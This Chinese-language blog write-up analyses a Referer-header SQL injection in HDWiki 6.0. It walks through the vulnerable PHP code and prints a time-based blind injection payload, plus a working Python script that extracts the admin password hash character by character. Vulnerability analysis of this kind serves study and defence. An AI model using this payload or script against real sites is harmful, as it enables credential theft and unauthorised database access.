0x01 前言
经拖稿一个月了,差了四篇文章没补回来, 现在都补上,虽然说这样没有坚持的按时写下去,但是只要记得要做这个事情就行了,不能中途而废。这个漏洞比较鸡肋,搁现在估计都没戏了,但是这个漏洞的思路可以学习下,积累经验。
0x02 环境搭建
6.0可以在官网下载:http://kaiyuan.hudong.com/download/ 在文章底部也会附上源码,搭建就不详细说明了,在我的其他文章也有搭建的详细步骤。用到的集成环境是PHPstudy,PHP版本是5.3,开启GPC。
0x03 漏洞利用
1. 注册账号
http://sb.com/index.php?user-register
2. 截获数据包
http://sb.com/index.php?user-login, 用burp或者其他工具截取数据包。
3. 执行Payload
在数据包下面加上referer:referer:' where if((substr((select password from wiki_user where username='admin'),1,1))='e',sleep(5),0)#
看到burp的右下角时间比没有加上payload的时候多了5s,证明漏洞利用成功。
0x04 漏洞分析
文件control/user.php
的110行dologin()
函数,为什么要登录用户才有效呢,因为$_ENV['user']
这里检测了cookies,所以没有用户登录是不能执行不成功的。想了解的可以进去读一下这个代码,主要存在注入的地方是在$_ENV['user']->add_referer();
这里。
function dologin(){
$_ENV['user']->passport_server('login','1');
if(!isset($this->post['submit'])){
$this->view->assign('checkcode',isset($this->setting['checkcode'])?$this->setting['checkcode']:0);
$_ENV['user']->add_referer();
$_ENV['user']->passport_server('login','2');
$_ENV['user']->passport_client('login');
if (!isset($this->setting['name_min_length'])) {$this->setting['name_min_length'] = 3;}
if (!isset($this->setting['name_max_length'])) {$this->setting['name_max_length'] = 15;}
$loginTip2 = str_replace(array('3','15'),array($this->setting['name_min_length'],$this->setting['name_max_length']),$this->view->lang['loginTip2']);
$this->view->assign('name_min_length',$this->setting['name_min_length']);
$this->view->assign('name_max_length',$this->setting['name_max_length']);
$this->view->assign('loginTip2',$loginTip2);
//$this->view->display('login');
$_ENV['block']->view('login');
}else{
继续跟进add_referer()
函数的分析,model\user.class.php
的41行,这里判断了HTTP_REFERER
是否为真然后执行下面内容,可以看到把$_SERVER['HTTP_REFERER']
带入UPDATE语句,但是有一个haddslashes
函数的过滤。
function add_referer(){
if($_SERVER['HTTP_REFERER']){
$this->db->query("UPDATE ".DB_TABLEPRE."session SET referer ='".string::haddslashes($_SERVER['HTTP_REFERER'])."' WHERE sid='".base::hgetcookie('sid')."'");
}
}
我们进入haddslashes()
函数,在lib\string.class.php
文件的125行,可以看到MAGIC_QUOTES_GPC
如果PHP开启了GPC,那就不进行下面的过滤直接返回原字符串$string
,所以就造成了SQL注入。
function haddslashes($string, $force = 0) {
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = string::haddslashes($val, $force);
}
}else {
$string = addslashes($string);
}
}
return $string;
}
0x05 Python脚本
因为是盲注所以还是脚本跑比较省事,改进了一下原作者的脚本。
#coding:utf-8
import time
import httplib
payloads = list('1234567890abcdefghijklmnopqrstuvwxyz')#匹配用到的字符串
val =''
Cookies = 'hd_sid=pUQ1Aq; PHPSESSID=jatvti3nlm2ro3i7oscke307e0; hd_auth=fa04EhT6qA%2BHMlu7IOesKoc8Xs%2F5b%2Fd18B4obJ17nm7F%2BvPbknFWVkAx1u4CLLl75EzncqWZRI94cSDMjJEV'
url = '/index.php?user-login'
for i in xrange(1,32):
for payload in payloads:
header ={
'Cookie':Cookies,
'referer':"'where if(substr((select password from wiki_user where username='admin'),"+str(i)+",1)='"+payload+"',sleep(3),0)#",
}
try:
conn = httplib.HTTPConnection('sb.com',timeout=5)
conn.request(method='GET',url=url,headers=header)
start = time.clock()
html_doc=conn.getresponse().read()
end = time.clock()
dely=end-start
#print dely
if((dely)>2):
val+=payload
break
except Exception as e:
pass
finally:
conn.close()
print 'password:'+val
0x06 结束
这个漏洞确实是比较鸡肋的,要PHP小于5.4版本并且开启GPC,现在PHP差不多都是5.6版本以上的。
0x07 参考
http://www.freebuf.com/vuls/170337.html
https://github.com/F0r3at/Python-Tools/blob/master/sql_hdwiki6.py
https://www.lanzous.com/i1hb0od 源码
- 原文作者: F0rmat
- 原文链接: https://xxe.icu/hdwiki-v6.0_latest_version_of_referer_injection_vulnerability.html
- 版权声明:本作品采用 署名 - 非商业性使用 4.0 国际 (CC BY-NC 4.0)进行许可,非商业转载请注明出处(作者,原文链接),商业转载请联系作者获得授权。